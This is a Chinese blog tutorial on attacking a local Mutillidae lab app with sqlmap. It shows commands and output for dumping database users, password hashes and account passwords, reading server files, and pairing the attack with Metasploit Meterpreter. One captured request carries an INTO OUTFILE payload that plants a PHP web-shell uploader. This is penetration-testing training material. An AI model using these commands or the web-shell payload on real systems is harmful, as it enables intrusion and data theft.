欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

搭建Mutillidae使用sqlmap注入测试

程序员文章站 2022-09-03 07:54:43
目录   1Using sqlmap for sql injection 1.1获取数据库类型版本信息 1.2获取当前数据库用户名及数据库名 1.3获取所有数据库及用户和密...
目录

 

1Using sqlmap for sql injection

1.1获取数据库类型版本信息

1.2获取当前数据库用户名及数据库名

1.3获取所有数据库及用户和密码hashes

1.4列出指定数据库中的表名

1.5列出指定数据库表项的所有字段名

1.6获取指定字段数据(脱裤)

1.7读取指定文件

1.8上传本地文件

2sqlmap --cookie注入测试

3sqlmap --auth-type and --auth-cred认证注入测试

4结合Metasploit’s Meterpreter注入

5其他参数配合使用

6sqlmap post型注入其他方法:

Mutillidae是一个开放源码的提供安全渗透测试的Web应用程序, Mutillidae可以安装在Linux、windows xp、windows 7等平台上。下载及安装说明文档详见:mutillidae安装

搭建Mutillidae使用sqlmap注入测试

在owasp top 10选项中,我们可以看到很多提供测试的页面. 这里随便选取一个sql injection地址进行测试.本文紧紧是介绍sqlmap注入工具的常用参数使用方法,参考文档:sqlmap说明文档

本地环境,虚拟机win2k3搭建好Mutillidae. 虚拟机backtrack5 r3进行sqlmap测试。

 

Using sqlmap for sql injection

 

获取数据库类型版本信息

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username -f --dbms=mysql -b --flush-session --level=5 --risk=3 -v 1

 

?

#返回结果:

web server operating system: Windows

web application technology: Apache 2.4.3, PHP 5.4.7

back-end DBMS: active fingerprint: MySQL >= 5.5.0

               html error message fingerprint: MySQL

banner:    '5.5.27'

 

#参数说明:

--forms       #测试url表单(因为这里测试的是一个登录框,post型的注入测试,其他方法往下看)

--batch       #使用默认,不要求用户输入

-p            #指定可测试的参数

-f            #指纹识别数据库类型

--dbms        #指定数据库管理系统

                MySQL

                Oracle

                PostgreSQL

                Microsoft SQL Server

                Microsoft Access

                SQLite

                Firebird

                Sybase

                SAP MaxDB

-b            #获取数据库版本信息

--level=(1-5) #要执行的测试水平等级,默认为1

--risk=(0-3)  #测试执行的风险等级,默认为1

-v            #详细的等级(0-6) 

               0:只显示Python的回溯,错误和关键消息。

               1:显示信息和警告消息。

               2:显示调试消息。

               3:有效载荷注入。

               4:显示HTTP请求。

               5:显示HTTP响应头。

               6:显示HTTP响应页面的内容  

--flush-session #Flush session file for current target.刷新Session file

 

#tips

#如果手工测试可以判断出sql注入类型可以用--technique参数提高效率,默认是B:

    B: Boolean-based blind SQL injection

    E: Error-based SQL injection

    U: UNION query SQL injection

    S: Stacked queries SQL injection

    T: Time-based blind SQL injection

--technique=E

-s    #保存和恢复Session file 指定一个不同的路径

获取当前数据库用户名及数据库名

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --current-user --current-db --flush-session --technique=E --level=5 --risk=3 -v 1

 

?

#返回结果:

[02:49:56] [INFO] fetching current user

[02:50:01] [INFO] retrieved: root@localhost

current user:    'root@localhost'

 

[02:50:01] [INFO] fetching current database

[02:50:05] [INFO] retrieved: nowasp

current database:    'nowasp'

 

#参数说明:

--current-user  #获取当前数据库用户名称

--current-db    #获取当前数据库名称

 

#tips

#判断当前数据库用户权限:

--privileges -U 用户名

--is-dba -U 用户名

获取所有数据库及用户和密码hashes

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --users --passwords --dbs --technique=E --level=5 --risk=3 -v 1

 

?

#返回结果:

database management system users [59]:

[*] ''@'linux'

[*] ''@'localhost'

[*] 'pma'@'localhost'

[*] 'root'@'linux'

[*] 'root'@'localhost'

database management system users password hashes:

[*] pma [1]:

    password hash: NULL

[*] root [2]:

    password hash: NULL

    password hash: NULL

available databases [8]:

[*] cdcol

[*] information_schema

[*] mysql

[*] nowasp

[*] performance_schema

[*] phpmyadmin

[*] test

[*] webauth

 

#参数说明:

--users         #列出数据库所有用户

--passwords     #列出数据库所有用户密码hashes

--dbs           #列出所有数据库

 

#tips

#如果要读取指定用户的密码hash:

--passwords -U root

列出指定数据库中的表名

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --tables -D nowasp --technique=E --level=5 --risk=3 -v 1

 

?

#返回结果:

Database: nowasp

[7 tables]

+----------------+

| accounts       |

| balloon_tips   |

| blogs_table    |

| captured_data  |

| credit_cards   |

| hitlog         |

| pen_test_tools |

+----------------+

 

#参数说明:

--tables        #获取数据库中所有表名

-D              #指定数据库名

列出指定数据库表项的所有字段名

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --columns -D nowasp -T accounts --technique=E --level=5 --risk=3 -v 1

 

?

#返回结果:

Database: nowasp

Table: accounts

[5 columns]

+-------------+------------+

| Column      | Type       |

+-------------+------------+

| cid         | int(11)    |

| is_admin    | varchar(5) |

| mysignature | text       |

| password    | text       |

| username    | text       |

+-------------+------------+

 

#参数说明:

--columns       #列出表中所有字段名

-T              #指定数据库表名

获取指定字段数据(脱裤)

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --dump -D nowasp -T accounts -C "username,password" --technique=E --level=5 --risk=3 -v 1

 

?

#返回结果:

Database: nowasp

Table: accounts

[16 entries]

+----------+--------------+

| username | password     |

+----------+--------------+

| kevin    | 42           |

| admin    | adminpass    |

| john     | monkey       |

| jeremy   | password     |

| bryce    | password     |

| jim      | password     |

| bobby    | password     |

| simba    | password     |

| dreveil  | password     |

| scotty   | password     |

| cal      | password     |

| john     | password     |

| ed       | pentest      |

| samurai  | samurai      |

| dave     | set          |

| adrian   | somepassword |

+----------+--------------+

 

#参数说明:

--dump          #dump数据库表项

-C              #指定字段名

 

#tips

--start 2 --stop 4  #dump一个范围类的数据(配合--dump使用). 如:

此语句加上参数--start 2 --stop 4返回:

+----------+-----------+

| username | password  |

+----------+-----------+

| admin    | adminpass |

| john     | monkey    |

| jeremy   | password  |

+----------+-----------+

--dump-all      #dump所有数据库表项

--replicate     #Replicate dumped data into a sqlite3 database

读取指定文件

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --file-read "c:/boot.ini" --technique=E --level=5 --risk=3 -v 1

 

?

#返回结果:

[boot loader]\r

timeout=30\r

default=multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS\r

[operating systems]\r

multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS="Windows Server 2003, Enterprise" /noexecute=optout /fa

c:/boot.ini file saved to:    '/pentest/database/sqlmap/output/192.168.1.3/files/c__boot.ini'

 

#参数说明:

--file-read    #读取系统指定文件

上传本地文件

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch --file-write "/tmp/test.txt" --file-dest "F:/xampp/htdocs/mutillidae/test/test.php" --technique=E --level=5 --risk=3 -v 4

 

?

#返回结果:

[ERROR] none of the SQL injection techniques detected can be used to write files to the underlying file system of the back-end MySQL server

 

#参数说明:

--file-write   #上传本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)

--file-dest    #上传到的绝对路径

 

#tips

--proxy=http://localhost:8080  #如使用burpsuite时代理端口配置

--prefix "a'" --suffix "or 'a'='a"   #

这里针对post提交的测试未成功 可以-v 4看看HTTP请求 GET?. --os-shell -v 4得到提交limit 1 into outfile语句 截取一段解码后如:

 

?

POST /mutillidae/index.php?page=login.php HTTP/1.1

Accept-Encoding: identity

Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7

Host: 192.168.1.3

Accept-language: en-us,en;q=0.5

Pragma: no-cache

Cache-control: no-cache,no-store

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

User-agent: sqlmap/1.0-dev-25eca9d (http://sqlmap.org)

Cookie: showhints=0;PHPSESSID=qvel8iet1d713f4q00n8gr60s6

Connection: close

 

username=a' LIMIT 1 INTO OUTFILE 'C:/xampp/htdocs/mutillidae/includes/tmpuptvk.php' LINES TERMINATED BY <?php

if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\xampp\\htdocs\\mutillidae\\includes> <input type=submit name=upload value=upload></form>";}?> -- or 'a'='a&password=&login-php-submit-button=Login

我这木测试成功 可以使用burpsuite抓包修改post数据提交或者wireshark配合tcpdump nc提交试试

 

sqlmap --cookie注入测试

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=capture-data.php --cookie="page = capture-data.php\r\nshowhints = 1\r\nPHPSESSID = m565a24c08ld1uheri0rpnqqt3\r\n" --dbs --level=5 --risk=3 -v 4

 

?

#返回结果:

available databases [8]:

[*] cdcol

[*] information_schema

[*] mysql

[*] nowasp

[*] performance_schema

[*] phpmyadmin

[*] test

[*] webauth


#参数说明:

--cookie       #HTTP Cookie header

 

#tips

--cookie-urlencode  #URL Encode generated cookie injections

--string            #指定关键词,字符串匹配. 也可以用--regexp

sqlmap --auth-type and --auth-cred认证注入测试

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --auth-type Basic --auth-cred "admin:adminpass" --dbs --level=5 --risk=3 -v 4

 

?

#返回结果:

available databases [8]:

[*] cdcol

[*] information_schema

[*] mysql

[*] nowasp

[*] performance_schema

[*] phpmyadmin

[*] test

[*] webauth

#这里就拿前面dump出的数据进行测试

 

#参数说明:

--auth-type      #HTTP身份验证类型(Basic, Digest or NTLM)

--auth-cred      #HTTP身份验证凭据(name:password)

 

#tips

--auth-cert      #客户端证书key_file,cert_file.

结合Metasploit’s Meterpreter注入

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --os-pwn --msf-path=/opt/framework/msf3 --priv-esc --technique=E --level=5 --risk=3 -v 1

 

?

#返回结果:

自行测试 

 

#参数说明:

--os-pwn          #Prompt for an out-of-band shell, meterpreter or VNC

--msf-path        #matesploit绝对路径

--priv-esc        #Database process' user privilege escalation

 

#tips

--os-smbrelay     #One click prompt for an OOB shell, meterpreter or VNC

--os-bof          #Stored procedure buffer overflow exploitation

--tmp-path=TMPPATH  #Remote absolute path of temporary files directory

其他参数配合使用

 

?

#编码

--tamper=TAMPER    #Use given script(s) for tampering injection data 如:

--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py

 

#读取注册表项值

--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

 

#操作数据库

--sql-shell         #提供一个交互的sql shell

--sql-query=QUERY   #执行sql语句

 

#查资料看见有用-z,根据参数及结果可以了解哈

-z "ign,flu,bat,ban"

返回:

web server operating system: Windows

web application technology: Apache 2.4.3, PHP 5.4.7

back-end DBMS: MySQL 5.0

banner:    '5.5.27'

 

#对于需要暴力猜表字段类的 如mysql4,在/pentest/database/sqlmap/txt下存放这字典可以自行添加

common-columns.txt  common-tables.txt  smalldict.txt    wordlist.txt

common-outputs.txt  keywords.txt       user-agents.txt

 

#tips

--threads  #设置线程

--user-agent=AGENT  #HTTP User-Agent header

--random-agent      #Use randomly selected HTTP User-Agent header

--referer=REFERER   #HTTP Referer header

......

sqlmap post型注入其他方法:

 

1.使用burpsuite抓包获取提交的参数信息保存为post-sql.txt,然后执行:

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -r /root/Desktop/post-sql.txt -p username --dbs --text-only --level=5 --risk=3 -v 3

2.使用--data参数执行:

 

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --data="username=&password=&login-php-submit-button=Login" -p username --batch --threads=10 --dbs --level=5 --risk=3 -v 3